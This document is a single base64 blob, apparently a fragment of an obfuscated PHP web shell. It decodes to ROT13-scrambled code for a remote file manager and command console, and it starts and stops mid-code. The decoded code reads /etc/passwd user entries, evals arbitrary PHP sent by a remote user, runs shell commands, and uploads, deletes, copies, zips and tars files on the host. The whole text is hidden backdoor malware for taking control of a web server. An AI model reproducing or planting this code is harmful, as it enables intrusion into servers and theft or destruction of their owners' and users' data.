LCB2emN5YnFyKCcsICcsJGdyemMpKTsKICAgICAgICAgICAgICAgICRncnpjPW5lZW5sKCk7CiAgICAgICAgICAgICAgICBzYmVybnB1ICgkcWJqYXlibnFyZWYgbmYgJHZncnopCiAgICAgICAgICAgICAgICAgICAgdnMoamZiSnV2cHUoJHZncnopKQogICAgICAgICAgICAgICAgICAgICAgICAkZ3J6Y1tdID0gJHZncno7CiAgICAgICAgICAgICAgICBqZmJGcnBDbmVueignUWJqYXlibnFyZWYnLCB2emN5YnFyKCcsICcsJGdyemMpKTsKICAgICAgICAgICAgICAgIHJwdWIgJzxvZS8+JzsKICAgICAgICAgICAgICAgIGpmYkZycENuZW56KCdVUVEgZmNucHInLCBqZmJSaygncXMgLXUnKSk7CiAgICAgICAgICAgICAgICBqZmJGcnBDbmVueignVWJmZ2YnLCBAc3Z5cl90cmdfcGJhZ3JhZ2YoJy9yZ3AvdWJmZ2YnKSk7CiAgICAgICAgICAgICAgICBycHViICc8b2UvPjxmY25hPmNiZnZrX3RyZ2NqaHZxICgiRXJucSIgL3JncC9jbmZmanEpPC9mY25hPjxnbm95cj48c2JleiBiYWZob3p2Zz1cJ3QoYWh5eSxhaHl5LCI1IixndXZmLmNuZW56MS5pbnlocixndXZmLmNuZW56Mi5pbnlocik7ZXJnaGVhIHNueWZyO1wnPjxnZT48Z3E+U2ViejwvZ3E+PGdxPjx2YWNoZyBnbGNyPWdya2cgYW56cj1jbmVuejEgaW55aHI9MD48L2dxPjwvZ2U+PGdlPjxncT5HYjwvZ3E+PGdxPjx2YWNoZyBnbGNyPWdya2cgYW56cj1jbmVuejIgaW55aHI9MTAwMD48L2dxPjwvZ2U+PC9nbm95cj48dmFjaGcgZ2xjcj1maG96dmcgaW55aHI9Ij4+Ij48L3NiZXo+JzsKICAgICAgICAgICAgICAgIHZzICh2ZmZyZyAoJF9DQkZHWydjMiddLCAkX0NCRkdbJ2MzJ10pICYmIHZmX2FoenJldnAoJF9DQkZHWydjMiddKSAmJiB2Zl9haHpyZXZwKCRfQ0JGR1snYzMnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkZ3J6YyA9ICIiOwogICAgICAgICAgICAgICAgICAgIHNiZSg7JF9DQkZHWydjMiddIDw9ICRfQ0JGR1snYzMnXTskX0NCRkdbJ2MyJ10rKykgewogICAgICAgICAgICAgICAgICAgICAgICAkaHZxID0gQGNiZnZrX3RyZ2NqaHZxKCRfQ0JGR1snYzInXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHZzICgkaHZxKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGdyemMgLj0gd2J2YSgnOicsJGh2cSkuIlxhIjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcnB1YiAnPG9lLz4nOwogICAgICAgICAgICAgICAgICAgIGpmYkZycENuZW56KCdIZnJlZicsICRncnpjKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoJfSByeWZyIHsKCQlqZmJGcnBDbmVueignQkYgSXJlZnZiYScsamZiUmsoJ2lyZScpKTsKCQlqZmJGcnBDbmVueignTnBwYmhhZyBGcmdndmF0ZicsamZiUmsoJ2FyZyBucHBiaGFnZicpKTsKCQlqZmJGcnBDbmVueignSGZyZSBOcHBiaGFnZicsamZiUmsoJ2FyZyBoZnJlJykpOwoJfQoJcnB1YiAnPC9xdmk+JzsKCWpmYlNiYmdyZSgpOwp9CgpzaGFwZ3ZiYSBucGd2YmFDdWMoKSB7Cgl2cyh2ZmZyZygkX0NCRkdbJ253bmsnXSkpIHsKICAgICAgICBKRkJmcmdwYmJ4dnIoenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSkgLiAnbnduaycsIGdlaHIpOwoJCWJvX2ZnbmVnKCk7CgkJcmlueSgkX0NCRkdbJ2MxJ10pOwoJCSRncnpjID0gInFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdDdWNCaGdjaGcnKS5mZ2x5ci5xdmZjeW5sPScnO3FicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdDdWNCaGdjaGcnKS52YWFyZVVHWlk9JyIgLiBucXFwZnluZnVyZih1Z3p5ZmNycHZueXB1bmVmKGJvX3RyZ19weXJuYSgpKSwgIlxhXGVcZ1xcJ1wwIikgLiAiJztcYSI7CgkJcnB1YiBmZ2V5cmEoJGdyemMpLCAiXGEiLCAkZ3J6YzsKCQlya3ZnOwoJfQogICAgdnMocnpjZ2woJF9DQkZHWydud25rJ10pICYmICFyemNnbCgkX0NCRkdbJ2MxJ10pKQogICAgICAgIEpGQmZyZ3BiYnh2cih6cTUoJF9GUkVJUkVbJ1VHR0NfVUJGRyddKSAuICdud25rJywgMCk7CgoJamZiVXJucXJlKCk7Cgl2cyh2ZmZyZygkX0NCRkdbJ2MyJ10pICYmICgkX0NCRkdbJ2MyJ10gPT0gJ3Zhc2InKSkgewoJCXJwdWIgJzx1MT5DVUMgdmFzYjwvdTE+PHF2aSBweW5mZj1wYmFncmFnPjxmZ2x5cj4uYyB7cGJ5YmU6IzAwMDt9PC9mZ2x5cj4nOwoJCWJvX2ZnbmVnKCk7CgkJY3VjdmFzYigpOwoJCSRnemMgPSBib190cmdfcHlybmEoKTsKICAgICAgICAkZ3pjID0gY2VydF9lcmN5bnByKG5lZW5sICgKICAgICAgICAgICAgJyEob2JxbHxuOlxqK3xvYnFsLCBncSwgZ3UsIHUxLCB1Mikgey4qfSF6ZnZIJywKICAgICAgICAgICAgJyFncSwgZ3UgeyguKil9IXpmdkgnLAogICAgICAgICAgICAnITx2enRbXj5dKz4hemZ2SCcsCiAgICAgICAgKSwgbmVlbmwgKAogICAgICAgICAgICAnJywKICAgICAgICAgICAgJy5yLCAuaSwgLnUsIC51IGd1IHskMX0nLAogICAgICAgICAgICAnJwogICAgICAgICksICRnemMpOwoJCXJwdWIgZmdlX2VyY3lucHIoJzx1MScsJzx1MicsICRnemMpIC4nPC9xdmk+PG9lPic7Cgl9CiAgICBycHViICc8dTE+UmtycGhndmJhIENVQy1wYnFyPC91MT48cXZpIHB5bmZmPXBiYWdyYWc+PHNiZXogYW56cj1jcyB6cmd1YnE9Y2JmZyBiYWZob3p2Zz0idnMoZ3V2Zi5ud25rLnB1cnB4cnEpe24oXCdDdWNcJyxhaHl5LGd1dmYucGJxci5pbnlocik7fXJ5ZnJ7dChcJ0N1Y1wnLGFoeXksZ3V2Zi5wYnFyLmlueWhyLFwnXCcpO31lcmdoZWEgc255ZnI7Ij48Z3JrZ25lcm4gYW56cj1wYnFyIHB5bmZmPW92dG5lcm4gdnE9Q3VjUGJxcj4nLighcnpjZ2woJF9DQkZHWydjMSddKT91Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1snYzEnXSk6JycpLic8L2dya2duZXJuPjx2YWNoZyBnbGNyPWZob3p2ZyBpbnlocj1SaW55IGZnbHlyPSJ6bmV0dmEtZ2JjOjVjayI+JzsKCXJwdWIgJyA8dmFjaGcgZ2xjcj1wdXJweG9iayBhbnpyPW53bmsgaW55aHI9MSAnLigkX1BCQlhWUlt6cTUoJF9GUkVJUkVbJ1VHR0NfVUJGRyddKS4nbnduayddPydwdXJweHJxJzonJykuJz4gZnJhcSBoZnZhdCBOV05LPC9zYmV6PjxjZXIgdnE9Q3VjQmhnY2hnIGZnbHlyPSInLihyemNnbCgkX0NCRkdbJ2MxJ10pPydxdmZjeW5sOmFiYXI7JzonJykuJ3puZXR2YS1nYmM6NWNrOyIgcHluZmY9enkxPic7Cgl2cyghcnpjZ2woJF9DQkZHWydjMSddKSkgewoJCWJvX2ZnbmVnKCk7CgkJcmlueSgkX0NCRkdbJ2MxJ10pOwoJCXJwdWIgdWd6eWZjcnB2bnlwdW5lZihib190cmdfcHlybmEoKSk7Cgl9CglycHViICc8L2Nlcj48L3F2aT4nOwoJamZiU2JiZ3JlKCk7Cn0KCnNoYXBndmJhIG5wZ3ZiYVN2eXJmWm5hKCkgewogICAgdnMgKCFyemNnbCAoJF9QQkJYVlJbJ3MnXSkpCiAgICAgICAgJF9QQkJYVlJbJ3MnXSA9IEBoYWZyZXZueXZtcigkX1BCQlhWUlsncyddKTsKICAgIAoJdnMoIXJ6Y2dsKCRfQ0JGR1snYzEnXSkpIHsKCQlmanZncHUoJF9DQkZHWydjMSddKSB7CgkJCXBuZnIgJ2hjeWJucVN2eXInOgoJCQkJdnMoIUB6YmlyX2hjeWJucXJxX3N2eXIoJF9TVllSRlsncyddWydnemNfYW56ciddLCAkX1NWWVJGWydzJ11bJ2FuenInXSkpCgkJCQkJcnB1YiAiUG5hJ2cgaGN5Ym5xIHN2eXIhIjsKCQkJCW9lcm54OwoJCQlwbmZyICd6eHF2ZSc6CgkJCQl2cyghQHp4cXZlKCRfQ0JGR1snYzInXSkpCgkJCQkJcnB1YiAiUG5hJ2cgcGVybmdyIGFyaiBxdmUiOwoJCQkJb2Vybng7CgkJCXBuZnIgJ3FyeXJncic6CgkJCQlzaGFwZ3ZiYSBxcnlyZ3JRdmUoJGNuZ3UpIHsKCQkJCQkkY25ndSA9IChmaG9mZ2UoJGNuZ3UsLTEpPT0nLycpID8gJGNuZ3U6JGNuZ3UuJy8nOwoJCQkJCSRxdSAgPSBiY3JhcXZlKCRjbmd1KTsKCQkJCQlqdXZ5ciAoICgkdmdyeiA9IGVybnFxdmUoJHF1KSApICE9PSBzbnlmcikgewoJCQkJCQkkdmdyeiA9ICRjbmd1LiR2Z3J6OwoJCQkJCQl2cyAoIChvbmZyYW56cigkdmdyeikgPT0gIi4uIikgfHwgKG9uZnJhbnpyKCR2Z3J6KSA9PSAiLiIpICkKCQkJCQkJCXBiYWd2YWhyOwoJCQkJCQkkZ2xjciA9IHN2eXJnbGNyKCR2Z3J6KTsKCQkJCQkJdnMgKCRnbGNyID09ICJxdmUiKQoJCQkJCQkJcXJ5cmdyUXZlKCR2Z3J6KTsKCQkJCQkJcnlmcgoJCQkJCQkJQGhheXZheCgkdmdyeik7CgkJCQkJfQoJCQkJCXB5YmZycXZlKCRxdSk7CgkJCQkJQGV6cXZlKCRjbmd1KTsKCQkJCX0KCQkJCXZzKHZmX25lZW5sKEAkX0NCRkdbJ3MnXSkpCgkJCQkJc2Jlcm5wdSgkX0NCRkdbJ3MnXSBuZiAkcykgewogICAgICAgICAgICAgICAgICAgICAgICB2cygkcyA9PSAnLi4nKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcGJhZ3ZhaHI7CgkJCQkJCSRzID0gaGV5cXJwYnFyKCRzKTsKCQkJCQkJdnModmZfcXZlKCRzKSkKCQkJCQkJCXFyeXJnclF2ZSgkcyk7CgkJCQkJCXJ5ZnIKCQkJCQkJCUBoYXl2YXgoJHMpOwoJCQkJCX0KCQkJCW9lcm54OwoJCQlwbmZyICdjbmZncic6CgkJCQl2cygkX1BCQlhWUlsnbnBnJ10gPT0gJ3BiY2wnKSB7CgkJCQkJc2hhcGd2YmEgcGJjbF9jbmZncigkcCwkZiwkcSl7CgkJCQkJCXZzKHZmX3F2ZSgkcC4kZikpewoJCQkJCQkJenhxdmUoJHEuJGYpOwoJCQkJCQkJJHUgPSBAYmNyYXF2ZSgkcC4kZik7CgkJCQkJCQlqdXZ5ciAoKCRzID0gQGVybnFxdmUoJHUpKSAhPT0gc255ZnIpCgkJCQkJCQkJdnMgKCgkcyAhPSAiLiIpIG5hcSAoJHMgIT0gIi4uIikpCgkJCQkJCQkJCXBiY2xfY25mZ3IoJHAuJGYuJy8nLCRzLCAkcS4kZi4nLycpOwoJCQkJCQl9IHJ5ZnJ2cyh2Zl9zdnlyKCRwLiRmKSkKCQkJCQkJCUBwYmNsKCRwLiRmLCAkcS4kZik7CgkJCQkJfQoJCQkJCXNiZXJucHUoJF9QQkJYVlJbJ3MnXSBuZiAkcykKCQkJCQkJcGJjbF9jbmZncigkX1BCQlhWUlsncCddLCRzLCAkVFlCT05ZRlsncGpxJ10pOwoJCQkJfSByeWZydnMoJF9QQkJYVlJbJ25wZyddID09ICd6YmlyJykgewoJCQkJCXNoYXBndmJhIHpiaXJfY25mZ3IoJHAsJGYsJHEpewoJCQkJCQl2cyh2Zl9xdmUoJHAuJGYpKXsKCQkJCQkJCXp4cXZlKCRxLiRmKTsKCQkJCQkJCSR1ID0gQGJjcmFxdmUoJHAuJGYpOwoJCQkJCQkJanV2eXIgKCgkcyA9IEBlcm5xcXZlKCR1KSkgIT09IHNueWZyKQoJCQkJCQkJCXZzICgoJHMgIT0gIi4iKSBuYXEgKCRzICE9ICIuLiIpKQoJCQkJCQkJCQlwYmNsX2NuZmdyKCRwLiRmLicvJywkcywgJHEuJGYuJy8nKTsKCQkJCQkJfSByeWZydnMoQHZmX3N2eXIoJHAuJGYpKQoJCQkJCQkJQHBiY2woJHAuJGYsICRxLiRmKTsKCQkJCQl9CgkJCQkJc2Jlcm5wdSgkX1BCQlhWUlsncyddIG5mICRzKQoJCQkJCQlAZXJhbnpyKCRfUEJCWFZSWydwJ10uJHMsICRUWUJPTllGWydwanEnXS4kcyk7CgkJCQl9IHJ5ZnJ2cygkX1BCQlhWUlsnbnBnJ10gPT0gJ212YycpIHsKCQkJCQl2cyhweW5mZl9ya3ZmZ2YoJ012Y05lcHV2aXInKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkbXZjID0gYXJqIE12Y05lcHV2aXIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgdnMgKCRtdmMtPmJjcmEoJF9DQkZHWydjMiddLCAxKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgcHVxdmUoJF9QQkJYVlJbJ3AnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzYmVybnB1KCRfUEJCWFZSWydzJ10gbmYgJHMpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2cygkcyA9PSAnLi4nKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYmFndmFocjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2cyhAdmZfc3Z5cigkX1BCQlhWUlsncCddLiRzKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG12Yy0+bnFxU3Z5cigkX1BCQlhWUlsncCddLiRzLCAkcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnlmcnZzKEB2Zl9xdmUoJF9QQkJYVlJbJ3AnXS4kcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZncmVuZ2JlID0gYXJqIEVycGhlZnZpclZncmVuZ2JlVmdyZW5nYmUoYXJqIEVycGhlZnZpclF2ZXJwZ2JlbFZncmVuZ2JlKCRzLicvJywgU3Z5cmZsZmdyelZncmVuZ2JlOjpGWFZDX1FCR0YpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2Jlcm5wdSAoJHZncmVuZ2JlIG5mICR4cmw9PiRpbnlocikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG12Yy0+bnFxU3Z5cihlcm55Y25ndSgkeHJsKSwgJHhybCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXF2ZSgkVFlCT05ZRlsncGpxJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG12Yy0+cHliZnIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KCQkJCX0gcnlmcnZzKCRfUEJCWFZSWyducGcnXSA9PSAnaGFtdmMnKSB7CgkJCQkJdnMocHluZmZfcmt2ZmdmKCdNdmNOZXB1dmlyJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG12YyA9IGFyaiBNdmNOZXB1dmlyKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNiZXJucHUoJF9QQkJYVlJbJ3MnXSBuZiAkcykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgdnMoJG12Yy0+YmNyYSgkX1BCQlhWUlsncCddLiRzKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtdmMtPnJrZ2VucGdHYigkVFlCT05ZRlsncGpxJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtdmMtPnB5YmZyKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CgkJCQl9IHJ5ZnJ2cygkX1BCQlhWUlsnbnBnJ10gPT0gJ2duZScpIHsKICAgICAgICAgICAgICAgICAgICBwdXF2ZSgkX1BCQlhWUlsncCddKTsKICAgICAgICAgICAgICAgICAgICAkX1BCQlhWUlsncyddID0gbmVlbmxfem5jKCdyZnBuY3JmdXJ5eW5ldCcsICRfUEJCWFZSWydzJ10pOwogICAgICAgICAgICAgICAgICAgIGpmYlJrKCdnbmUgcHNtaSAnIC4gcmZwbmNyZnVyeXluZXQoJF9DQkZHWydjMiddKSAuICcgJyAuIHZ6Y3licXIoJyAnLCAkX1BCQlhWUlsncyddKSk7CiAgICAgICAgICAgICAgICAgICAgcHVxdmUoJFRZQk9OWUZbJ3BqcSddKTsKCQkJCX0KCQkJCWhhZnJnKCRfUEJCWFZSWydzJ10pOwogICAgICAgICAgICAgICAgZnJncGJieHZyKCdzJywgJycsIGd2enIoKSAtIDM2MDApOwoJCQkJb2Vybng7CgkJCXFyc25oeWc6CiAgICAgICAgICAgICAgICB2cyghcnpjZ2woJF9DQkZHWydjMSddKSkgewoJCQkJCUpGQmZyZ3BiYnh2cignbnBnJywgJF9DQkZHWydjMSddKTsKCQkJCQlKRkJmcmdwYmJ4dnIoJ3MnLCBmcmV2bnl2bXIoQCRfQ0JGR1sncyddKSk7CgkJCQkJSkZCZnJncGJieHZyKCdwJywgQCRfQ0JGR1sncCddKTsKCQkJCX0KCQkJCW9lcm54OwoJCX0KCX0KICAgIGpmYlVybnFyZSgpOwoJcnB1YiAnPHUxPlN2eXIgem5hbnRyZTwvdTE+PHF2aSBweW5mZj1wYmFncmFnPjxmcGV2Y2c+YzFfPWMyXz1jM189IiI7PC9mcGV2Y2c+JzsKCSRxdmVQYmFncmFnID0gamZiRnBuYXF2ZSh2ZmZyZygkX0NCRkdbJ3AnXSk/JF9DQkZHWydwJ106JFRZQk9OWUZbJ3BqcSddKTsKCXZzKCRxdmVQYmFncmFnID09PSBzbnlmcikgewlycHViICdQbmFcJ2cgYmNyYSBndXZmIHNieXFyZSEnO2pmYlNiYmdyZSgpOyBlcmdoZWE7IH0KCXR5Ym9ueSAkZmJlZzsKCSRmYmVnID0gbmVlbmwoJ2FuenInLCAxKTsKCXZzKCFyemNnbCgkX0NCRkdbJ2MxJ10pKSB7CgkJdnMoY2VydF96bmdwdSgnIWZfKFtOLW1dKylfKFxxezF9KSEnLCAkX0NCRkdbJ2MxJ10sICR6bmdwdSkpCgkJCSRmYmVnID0gbmVlbmwoJHpuZ3B1WzFdLCAodmFnKSR6bmdwdVsyXSk7Cgl9CnJwdWIgIjxmcGV2Y2c+CglzaGFwZ3ZiYSBmbigpIHsKCQlzYmUodj0wO3Y8cS5zdnlyZi5yeXJ6cmFnZi55cmF0Z3U7disrKQoJCQl2cyhxLnN2eXJmLnJ5cnpyYWdmW3ZdLmdsY3IgPT0gJ3B1cnB4b2JrJykKCQkJCXEuc3Z5cmYucnlyenJhZ2Zbdl0ucHVycHhycSA9IHEuc3Z5cmYucnlyenJhZ2ZbMF0ucHVycHhycTsKCX0KPC9mcGV2Y2c+Cjxnbm95ciBqdnFndT0nMTAwJScgcHluZmY9J3pudmEnIHByeXlmY25wdmF0PScwJyBwcnl5Y25xcXZhdD0nMic+CjxzYmV6IGFuenI9c3Z5cmYgenJndWJxPWNiZmc+PGdlPjxndSBqdnFndT0nMTNjayc+PHZhY2hnIGdsY3I9cHVycHhvYmsgYmFweXZweD0nZm4oKScgcHluZmY9cHV4b2s+PC9ndT48Z3U+PG4gdWVycz0nIycgYmFweXZweD0ndChcIlN2eXJmWm5hXCIsYWh5eSxcImZfYW56cl8iLigkZmJlZ1sxXT8wOjEpLiJcIiknPkFuenI8L24+PC9ndT48Z3U+PG4gdWVycz0nIycgYmFweXZweD0ndChcIlN2eXJmWm5hXCIsYWh5eSxcImZfZnZtcl8iLigkZmJlZ1sxXT8wOjEpLiJcIiknPkZ2bXI8L24+PC9ndT48Z3U+PG4gdWVycz0nIycgYmFweXZweD0ndChcIlN2eXJmWm5hXCIsYWh5eSxcImZfemJxdnNsXyIuKCRmYmVnWzFdPzA6MSkuIlwiKSc+WmJxdnNsPC9uPjwvZ3U+PGd1PkJqYXJlL1RlYmhjPC9ndT48Z3U+PG4gdWVycz0nIycgYmFweXZweD0ndChcIlN2eXJmWm5hXCIsYWh5eSxcImZfY3JlemZfIi4oJGZiZWdbMV0/MDoxKS4iXCIpJz5DcmV6dmZmdmJhZjwvbj48L2d1PjxndT5OcGd2YmFmPC9ndT48L2dlPiI7CgkkcXZlZiA9ICRzdnlyZiA9IG5lZW5sKCk7CgkkYSA9IHBiaGFnKCRxdmVQYmFncmFnKTsKCXNiZSgkdj0wOyR2PCRhOyR2KyspIHsKCQl2cyhzaGFwZ3ZiYV9ya3ZmZ2YoJ2NiZnZrX3RyZ2NqaHZxJykpewoJCQkkYmogPSBAY2JmdmtfdHJnY2podnEoQHN2eXJiamFyZSgkcXZlUGJhZ3JhZ1skdl0pKTsKCQl9cnlmcnsKCQkJJGJqID0gJyc7CgkJfQoJCSR0ZSA9IEBjYmZ2a190cmd0ZXR2cShAc3Z5cnRlYmhjKCRxdmVQYmFncmFnWyR2XSkpOwoJCSRnemMgPSBuZWVubCgnYW56cicgPT4gJHF2ZVBiYWdyYWdbJHZdLAoJCQkJCSAnY25ndScgPT4gJFRZQk9OWUZbJ3BqcSddLiRxdmVQYmFncmFnWyR2XSwKCQkJCQkgJ3picXZzbCcgPT4gcW5ncignTC16LXEgVTp2OmYnLCBAc3Z5cnpndnpyKCRUWUJPTllGWydwanEnXSAuICRxdmVQYmFncmFnWyR2XSkpLAoJCQkJCSAnY3JlemYnID0+IGpmYkNyZXpmUGJ5YmUoJFRZQk9OWUZbJ3BqcSddIC4gJHF2ZVBiYWdyYWdbJHZdKSwKCQkJCQkgJ2Z2bXInID0+IEBzdnlyZnZtcigkVFlCT05ZRlsncGpxJ10uJHF2ZVBiYWdyYWdbJHZdKSwKCQkJCQkgJ2JqYXJlJyA9PiAkYmpbJ2FuenInXT8kYmpbJ2FuenInXTpAc3Z5cmJqYXJlKCRxdmVQYmFncmFnWyR2XSksCgkJCQkJICd0ZWJoYycgPT4gJHRlWydhbnpyJ10/JHRlWydhbnpyJ106QHN2eXJ0ZWJoYygkcXZlUGJhZ3JhZ1skdl0pCgkJCQkJKTsKCQl2cyhAdmZfc3Z5cigkVFlCT05ZRlsncGpxJ10gLiAkcXZlUGJhZ3JhZ1skdl0pKQoJCQkkc3Z5cmZbXSA9IG5lZW5sX3pyZXRyKCRnemMsIG5lZW5sKCdnbGNyJyA9PiAnc3Z5cicpKTsKCQlyeWZydnMoQHZmX3l2YXgoJFRZQk9OWUZbJ3BqcSddIC4gJHF2ZVBiYWdyYWdbJHZdKSkKCQkJJHF2ZWZbXSA9IG5lZW5sX3pyZXRyKCRnemMsIG5lZW5sKCdnbGNyJyA9PiAneXZheCcsICd5dmF4JyA9PiBlcm5xeXZheCgkZ3pjWydjbmd1J10pKSk7CgkJcnlmcnZzKEB2Zl9xdmUoJFRZQk9OWUZbJ3BqcSddIC4gJHF2ZVBiYWdyYWdbJHZdKSkKCQkJJHF2ZWZbXSA9IG5lZW5sX3pyZXRyKCRnemMsIG5lZW5sKCdnbGNyJyA9PiAncXZlJykpOwoJfQoJCgkkVFlCT05ZRlsnZmJlZyddID0gJGZiZWc7CglzaGFwZ3ZiYSBqZmJQemMoJG4sICRvKSB7CgkJdnMoJFRZQk9OWUZbJ2ZiZWcnXVswXSAhPSAnZnZtcicpCgkJCWVyZ2hlYSBmZ2VwemMoZmdlZ2J5YmpyZSgkblskVFlCT05ZRlsnZmJlZyddWzBdXSksIGZnZWdieWJqcmUoJG9bJFRZQk9OWUZbJ2ZiZWcnXVswXV0pKSooJFRZQk9OWUZbJ2ZiZWcnXVsxXT8xOi0xKTsKCQlyeWZyCgkJCWVyZ2hlYSAoKCRuWydmdm1yJ10gPCAkb1snZnZtciddKSA/IC0xIDogMSkqKCRUWUJPTllGWydmYmVnJ11bMV0/MTotMSk7Cgl9CgloZmJlZygkc3Z5cmYsICJqZmJQemMiKTsKCWhmYmVnKCRxdmVmLCAiamZiUHpjIik7Cgkkc3Z5cmYgPSBuZWVubF96cmV0cigkcXZlZiwgJHN2eXJmKTsKCSR5ID0gMDsKCXNiZXJucHUoJHN2eXJmIG5mICRzKSB7CgkJcnB1YiAnPGdlJy4oJHk/JyBweW5mZj15MSc6JycpLic+PGdxPjx2YWNoZyBnbGNyPXB1cnB4b2JrIGFuenI9InNbXSIgaW55aHI9IicuaGV5cmFwYnFyKCRzWydhbnpyJ10pLiciIHB5bmZmPXB1eG9rPjwvZ3E+PGdxPjxuIHVlcnM9IyBiYXB5dnB4PSInLigoJHNbJ2dsY3InXT09J3N2eXInKT8ndChcJ1N2eXJmR2JieWZcJyxhaHl5LFwnJy5oZXlyYXBicXIoJHNbJ2FuenInXSkuJ1wnLCBcJ2l2cmpcJykiPicudWd6eWZjcnB2bnlwdW5lZigkc1snYW56ciddKTondChcJ1N2eXJmWm5hXCcsXCcnLiRzWydjbmd1J10uJ1wnKTsiICcgLiAocnpjZ2wgKCRzWyd5dmF4J10pID8gJycgOiAiZ3ZneXI9J3skc1sneXZheCddfSciKSAuICc+PG8+WyAnIC4gdWd6eWZjcnB2bnlwdW5lZigkc1snYW56ciddKSAuICcgXTwvbz4nKS4nPC9uPjwvZ3E+PGdxPicuKCgkc1snZ2xjciddPT0nc3Z5cicpP2pmYkl2cmpGdm1yKCRzWydmdm1yJ10pOiRzWydnbGNyJ10pLic8L2dxPjxncT4nLiRzWyd6YnF2c2wnXS4nPC9ncT48Z3E+Jy4kc1snYmphcmUnXS4nLycuJHNbJ3RlYmhjJ10uJzwvZ3E+PGdxPjxuIHVlcnM9IyBiYXB5dnB4PSJ0KFwnU3Z5cmZHYmJ5ZlwnLGFoeXksXCcnLmhleXJhcGJxcigkc1snYW56ciddKS4nXCcsXCdwdXpicVwnKSI+Jy4kc1snY3JlemYnXQoJCQkuJzwvZ3E+PGdxPjxuIHVlcnM9IiMiIGJhcHl2cHg9InQoXCdTdnlyZkdiYnlmXCcsYWh5eSxcJycuaGV5cmFwYnFyKCRzWydhbnpyJ10pLidcJywgXCdlcmFuenJcJykiPkU8L24+IDxuIHVlcnM9IiMiIGJhcHl2cHg9InQoXCdTdnlyZkdiYnlmXCcsYWh5eSxcJycuaGV5cmFwYnFyKCRzWydhbnpyJ10pLidcJywgXCdnYmhwdVwnKSI+Rzwvbj4nLigoJHNbJ2dsY3InXT09J3N2eXInKT8nIDxuIHVlcnM9IiMiIGJhcHl2cHg9InQoXCdTdnlyZkdiYnlmXCcsYWh5eSxcJycuaGV5cmFwYnFyKCRzWydhbnpyJ10pLidcJywgXCdycXZnXCcpIj5SPC9uPiA8biB1ZXJzPSIjIiBiYXB5dnB4PSJ0KFwnU3Z5cmZHYmJ5ZlwnLGFoeXksXCcnLmhleXJhcGJxcigkc1snYW56ciddKS4nXCcsIFwncWJqYXlibnFcJykiPlE8L24+JzonJykuJzwvZ3E+PC9nZT4nOwoJCSR5ID0gJHk/MDoxOwoJfQoJcnB1YiAiPGdlPjxncSBwYnlmY25hPTc+Cgk8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1uIGlueWhyPSdTdnlyZlpuYSc+Cgk8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1wIGlueWhyPSciIC4gdWd6eWZjcnB2bnlwdW5lZigkVFlCT05ZRlsncGpxJ10pIC4iJz4KCTx2YWNoZyBnbGNyPXV2cXFyYSBhbnpyPXB1bmVmcmcgaW55aHI9JyIuICh2ZmZyZygkX0NCRkdbJ3B1bmVmcmcnXSk/JF9DQkZHWydwdW5lZnJnJ106JycpLiInPgoJPGZyeXJwZyBhbnpyPSdjMSc+PGJjZ3ZiYSBpbnlocj0ncGJjbCc+UGJjbDwvYmNndmJhPjxiY2d2YmEgaW55aHI9J3piaXInPlpiaXI8L2JjZ3ZiYT48YmNndmJhIGlueWhyPSdxcnlyZ3InPlFyeXJncjwvYmNndmJhPiI7CiAgICB2cyhweW5mZl9ya3ZmZ2YoJ012Y05lcHV2aXInKSkKICAgICAgICBycHViICI8YmNndmJhIGlueWhyPSdtdmMnPlBiemNlcmZmIChtdmMpPC9iY2d2YmE+PGJjZ3ZiYSBpbnlocj0naGFtdmMnPkhhcGJ6Y2VyZmYgKG12Yyk8L2JjZ3ZiYT4iOwogICAgcnB1YiAiPGJjZ3ZiYSBpbnlocj0nZ25lJz5QYnpjZXJmZiAoZ25lLnRtKTwvYmNndmJhPiI7CiAgICB2cyhzaGFwZ3ZiYV9ya3ZmZ2YoInRyZ196bnR2cF9kaGJncmZfdGNwIikgJiYgIXJ6Y2dsKCRfUEJCWFZSWyducGcnXSkgJiYgQHBiaGFnKCRfUEJCWFZSWydzJ10pKQogICAgICAgIHJwdWIgIjxiY2d2YmEgaW55aHI9J2NuZmdyJz5DbmZnciAvIFBiemNlcmZmPC9iY2d2YmE+IjsKICAgIHJwdWIgIjwvZnJ5cnBnPiZhb2ZjOyI